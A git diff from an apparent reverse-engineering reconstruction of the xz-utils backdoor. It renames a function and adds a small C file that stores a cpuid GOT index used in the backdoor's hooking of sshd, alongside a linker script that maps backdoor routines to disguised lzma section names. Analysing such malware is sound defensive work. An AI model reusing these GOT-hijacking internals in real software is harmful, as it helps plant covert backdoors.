diff --git a/xzre.h b/xzre.h index 7e231d8..47e7b0a 100644 --- a/xzre.h +++ b/xzre.h @@ -2860,7 +2860,7 @@ extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame); * stores the address of the symbol cpuid_random_symbol in elf_entry_ctx_t::symbol_ptr * stores the return address of the function that called the IFUNC resolver which is a stack address in ld.so * calls update_got_offset() to update elf_entry_ctx_t::got_offset - * calls get_cpuid_got_index() to update @ref elf_entry_ctx_t.got_ctx.cpuid_fn + * calls update_cpuid_got_index() to update @ref elf_entry_ctx_t.got_ctx.cpuid_fn * * @param ctx */ @@ -2885,7 +2885,7 @@ extern void update_got_offset(elf_entry_ctx_t *ctx); * @param ctx * @return u64 cpuid() GOT index */ -extern u64 get_cpuid_got_index(elf_entry_ctx_t *ctx); +extern void update_cpuid_got_index(elf_entry_ctx_t *ctx); /** * @brief diff --git a/xzre.lds.in b/xzre.lds.in index a309d5e..daa1b36 100644 --- a/xzre.lds.in +++ b/xzre.lds.in @@ -88,7 +88,7 @@ SECTIONS_BEGIN() /* 0000000000003CD0 */ DEFSYM(main_elf_parse, .text.lzma_filter_decoder_is_supportea) /* 0000000000003D40 */ DEFSYM(sshd_get_sensitive_data_score, .text.lzma_lzma2_encoder_memusaga) /* 0000000000003DA0 */ DEFSYM(sshd_find_monitor_struct, .text.lzma_mf_bt4_fina) - /* 0000000000003F50 */ DEFSYM(get_cpuid_got_index, .text.lzma_stream_decoder_inia) + /* 0000000000003F50 */ DEFSYM(update_cpuid_got_index, .text.lzma_stream_decoder_inia) /* 0000000000003F70 */ DEFSYM(get_tls_get_addr_random_symbol_got_offset, .text.lzma_stream_flags_compara) /* 0000000000003F90 */ DEFSYM(update_got_address, .text.lzma_stream_header_encoda) /* 0000000000004000 */ DEFSYM(update_got_offset, .text.parse_delt1) diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt index 343a279..9e3ff7d 100644 --- a/xzre_code/CMakeLists.txt +++ b/xzre_code/CMakeLists.txt @@ -21,6 +21,7 @@ add_library(xzre_code sha256.c sshd_patch_variables.c update_got_offset.c + update_cpuid_got_index.c ) target_compile_options(xzre_code PRIVATE -Os -fomit-frame-pointer diff --git a/xzre_code/init_elf_entry_ctx.c b/xzre_code/init_elf_entry_ctx.c index bd01121..f2398f7 100644 --- a/xzre_code/init_elf_entry_ctx.c +++ b/xzre_code/init_elf_entry_ctx.c @@ -7,6 +7,6 @@ void init_elf_entry_ctx(elf_entry_ctx_t *ctx){ ctx->symbol_ptr = (void *)&cpuid_random_symbol; ctx->got_ctx.return_address = (void *)ctx->frame_address[3]; update_got_offset(ctx); - get_cpuid_got_index(ctx); + update_cpuid_got_index(ctx); ctx->got_ctx.got_ptr = NULL; } diff --git a/xzre_code/update_cpuid_got_index.c b/xzre_code/update_cpuid_got_index.c new file mode 100644 index 0000000..bedcf52 --- /dev/null +++ b/xzre_code/update_cpuid_got_index.c @@ -0,0 +1,8 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +void update_cpuid_got_index(elf_entry_ctx_t *ctx){ + ctx->got_ctx.cpuid_fn = (void *)cpuid_reloc_consts.cpuid_got_index; +}